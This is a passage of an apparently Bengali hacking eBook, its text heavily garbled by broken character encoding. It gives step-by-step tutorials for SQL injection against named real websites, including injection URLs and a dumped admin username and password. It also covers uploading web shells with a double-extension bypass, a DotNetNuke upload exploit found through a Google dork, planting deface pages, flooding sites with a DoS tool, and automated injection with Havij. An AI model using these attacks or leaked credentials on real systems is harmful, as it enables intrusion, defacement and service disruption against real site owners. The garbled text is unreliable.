এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 32: Hacking Bangla eBook

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

